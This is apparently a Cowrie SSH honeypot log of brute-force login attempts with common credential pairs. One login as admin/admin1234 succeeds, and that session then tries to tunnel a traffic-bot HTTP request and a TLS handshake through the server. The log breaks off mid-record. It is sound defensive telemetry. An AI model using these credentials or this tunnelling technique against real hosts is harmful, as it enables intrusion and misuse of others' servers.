{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":58630,"dst_ip":"159.203.135.109","dst_port":22,"session":"d4d3813eba72","protocol":"ssh","message":"New connection: 91.92.40.36:58630 (159.203.135.109:22) [session: d4d3813eba72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:39.876058Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:40.769311Z","src_ip":"91.92.40.36","session":"d4d3813eba72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:40.772469Z","src_ip":"91.92.40.36","session":"d4d3813eba72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vendas","password":"vendas","message":"login attempt [vendas/vendas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:41.763187Z","src_ip":"91.92.40.36","session":"f28e5355a976","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.233980894088745,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:44.232229Z","src_ip":"107.6.151.170","session":"af798968065c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"!@#$1234","message":"login attempt [ubuntu/!@#$1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:44.571366Z","src_ip":"91.92.40.36","session":"d4d3813eba72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.3","message":"Connection lost after 10.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:44.828402Z","src_ip":"91.92.40.36","session":"f28e5355a976","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.7","message":"Connection lost after 6.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:46.610322Z","src_ip":"91.92.40.36","session":"d4d3813eba72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":43828,"dst_ip":"159.203.135.109","dst_port":22,"session":"174470a9c50e","protocol":"ssh","message":"New connection: 91.92.40.36:43828 (159.203.135.109:22) [session: 174470a9c50e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:47.690790Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:48.507977Z","src_ip":"91.92.40.36","session":"174470a9c50e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:48.511383Z","src_ip":"91.92.40.36","session":"174470a9c50e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Qwerty123","message":"login attempt [ubuntu/Qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:52.136756Z","src_ip":"91.92.40.36","session":"174470a9c50e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:54.228069Z","src_ip":"91.92.40.36","session":"174470a9c50e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":43860,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff4c149fc4e2","protocol":"ssh","message":"New connection: 91.92.40.36:43860 (159.203.135.109:22) [session: ff4c149fc4e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:54.271657Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:55.621287Z","src_ip":"91.92.40.36","session":"ff4c149fc4e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:55.624272Z","src_ip":"91.92.40.36","session":"ff4c149fc4e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.47","src_port":62741,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf6577e0605f","protocol":"ssh","message":"New connection: 23.175.50.47:62741 (10.17.0.5:22) [session: cf6577e0605f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:58.094753Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:58.099330Z","src_ip":"23.175.50.47","session":"cf6577e0605f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:58.190140Z","src_ip":"23.175.50.47","session":"cf6577e0605f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:59.322731Z","src_ip":"23.175.50.47","session":"cf6577e0605f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"123qwerty","message":"login attempt [dev/123qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:27:00.829324Z","src_ip":"91.92.40.36","session":"ff4c149fc4e2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:27:00.961360Z","session":"cf6577e0605f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:27:01.019819Z","src_ip":"23.175.50.47","session":"cf6577e0605f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1188\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 9; K11) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=VmUpbXdBM2hnPjcrNFV9WQ%3D%3DW%2FuJQTlK9jwOH8VPU3rquIIGHX3880RfIBHu4Hu3254QzJjckNXE6Wo0cpBTMACV8NpmFkUUzZXbLV%2B%2Bi5AQI8QQGuW8kUATNjrmTlZ1TZ4B%2Bfd0tblL7kZibfegrOj0MyvjOCIwnGg67b19OKgiOez8dkwjgn9Jrl51KXzEw6I3buwazcl7ISvG3ucjpD7%2FbOyFjWhO%2BdP0K0MGlcT0LM%2B7rzHHFYiCp6SJffZd%2Ba2I%2BOsU8G1R5LtWsGOtVjX96KQ6lcUmGSalQqz4zUS99DN%2BL%2FbyS1tVVj8LSAq0aPymSbGM4MUJeLYrcP2h16khaT3G8q20iynASSPQTBPGpte%2B%2FRLjvx7lC%2BXgA3WBLQOp95hZwYWnEsFw972De9V7J%2B5RdVAKLGSgPDl%2FoXasGnx36vA%2Bvrd6A6DdAFF6%2BVT7DjuDd5c7SYilXCAsGgb%2FpRs58eE0LQ13c6zxfuK53EZRZuxCuCghF5zoALdUBnQkl1PS5tSfBoMPLnBXCRVo7EnlZYNOSi7TiEnvvm4XHiobl1iTsjtdSzii99E%2FyefiiNPcMU4Yp6vUcPqDAZpaHUTzHUKHBg3TsjHoqZE3qnxsTAz5v6Ebj7tNCgTuOK4C%2FljtXeJFgbAMfiJK2bphEEIs4m2i18hpwlonPN5X4%2Ft6IZLP4S0APEEj3Bm%2BTSVrL1YK6VqfOCQwoF4UwY%2Fcc7JT%2FtlG83Qa8iWbHczZaXWk%2FR0ADn4J7AdTnRfkYlR5M%2FKIsCVGxkZXSpMVft9Ro3Bwh2jot9V3y9jL0QTZS6lc2%2BZOuWyBOcVEvPoIYMIMHimNpZv%2BFf0k8iRWEX7%2FZvUY4eC1nMpzHPNjAcvfUiDYMmGzZ4uLkiiwhyUaZoENDLGabHNcuQj2wls5y9U6oyBGAGsH7dmEfEnSpzI2bm97ySxeXlDrCIHIXRV56rHUSa2v5xX4Tsw4qjx4YtFEF56CbjznlAjoTp001Ad%2B3g%2BtJTrftqc9XmrweJL3tu631ltZqy67jgi%2BbtBfSmhBz%2F6fieZE3hW%2BIptkNbAZneQdlP4pM0nxKLWTt4va8B0IdgWPOP8UaQvplgPvnJBj'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1188\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 9; K11) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=VmUpbXdBM2hnPjcrNFV9WQ%3D%3DW%2FuJQTlK9jwOH8VPU3rquIIGHX3880RfIBHu4Hu3254QzJjckNXE6Wo0cpBTMACV8NpmFkUUzZXbLV%2B%2Bi5AQI8QQGuW8kUATNjrmTlZ1TZ4B%2Bfd0tblL7kZibfegrOj0MyvjOCIwnGg67b19OKgiOez8dkwjgn9Jrl51KXzEw6I3buwazcl7ISvG3ucjpD7%2FbOyFjWhO%2BdP0K0MGlcT0LM%2B7rzHHFYiCp6SJffZd%2Ba2I%2BOsU8G1R5LtWsGOtVjX96KQ6lcUmGSalQqz4zUS99DN%2BL%2FbyS1tVVj8LSAq0aPymSbGM4MUJeLYrcP2h16khaT3G8q20iynASSPQTBPGpte%2B%2FRLjvx7lC%2BXgA3WBLQOp95hZwYWnEsFw972De9V7J%2B5RdVAKLGSgPDl%2FoXasGnx36vA%2Bvrd6A6DdAFF6%2BVT7DjuDd5c7SYilXCAsGgb%2FpRs58eE0LQ13c6zxfuK53EZRZuxCuCghF5zoALdUBnQkl1PS5tSfBoMPLnBXCRVo7EnlZYNOSi7TiEnvvm4XHiobl1iTsjtdSzii99E%2FyefiiNPcMU4Yp6vUcPqDAZpaHUTzHUKHBg3TsjHoqZE3qnxsTAz5v6Ebj7tNCgTuOK4C%2FljtXeJFgbAMfiJK2bphEEIs4m2i18hpwlonPN5X4%2Ft6IZLP4S0APEEj3Bm%2BTSVrL1YK6VqfOCQwoF4UwY%2Fcc7JT%2FtlG83Qa8iWbHczZaXWk%2FR0ADn4J7AdTnRfkYlR5M%2FKIsCVGxkZXSpMVft9Ro3Bwh2jot9V3y9jL0QTZS6lc2%2BZOuWyBOcVEvPoIYMIMHimNpZv%2BFf0k8iRWEX7%2FZvUY4eC1nMpzHPNjAcvfUiDYMmGzZ4uLkiiwhyUaZoENDLGabHNcuQj2wls5y9U6oyBGAGsH7dmEfEnSpzI2bm97ySxeXlDrCIHIXRV56rHUSa2v5xX4Tsw4qjx4YtFEF56CbjznlAjoTp001Ad%2B3g%2BtJTrftqc9XmrweJL3tu631ltZqy67jgi%2BbtBfSmhBz%2F6fieZE3hW%2BIptkNbAZneQdlP4pM0nxKLWTt4va8B0IdgWPOP8UaQvplgPvnJBj'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:27:01.022998Z","src_ip":"23.175.50.47","session":"cf6577e0605f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:27:01.094765Z","session":"cf6577e0605f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:27:01.156092Z","src_ip":"23.175.50.47","session":"cf6577e0605f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x988O\\xbbv\\xeb\\xf2\\xbd\\x91\\xf4K|\\x1e\\x98\\xfb+\\x05{1\\x87\\x1a\\xff\\xfd\\xfc\\xe3\\x88\\x81\\xcf\\xfe\\xc2\\xcd\\xd5 QmG}\\x81\\x1eG\\xc3\\x9c\\x1d\\x9b%]\\x93}\\xb0V\\xa7\\xbf\\xab\\n\\xe7T\\xbc\\x83X,\\x97\\xc5\\x042D\\x00 \\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 @\\xaeq\\xbb\\xa6\\xf4\\xceO\\x12\\xac\\x89\\xde\\r7n\\xf6\\xc0\\x16\\x0c=W\\x87\\x9f\\x06;6\\xe90s\\xb1\\xe7V\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x988O\\xbbv\\xeb\\xf2\\xbd\\x91\\xf4K|\\x1e\\x98\\xfb+\\x05{1\\x87\\x1a\\xff\\xfd\\xfc\\xe3\\x88\\x81\\xcf\\xfe\\xc2\\xcd\\xd5 QmG}\\x81\\x1eG\\xc3\\x9c\\x1d\\x9b%]\\x93}\\xb0V\\xa7\\xbf\\xab\\n\\xe7T\\xbc\\x83X,\\x97\\xc5\\x042D\\x00 \\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 @\\xaeq\\xbb\\xa6\\xf4\\xceO\\x12\\xac\\x89\\xde\\r7n\\xf6\\xc0\\x16\\x0c=W\\x87\\x9f\\x06;6\\xe90s\\xb1\\xe7V\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\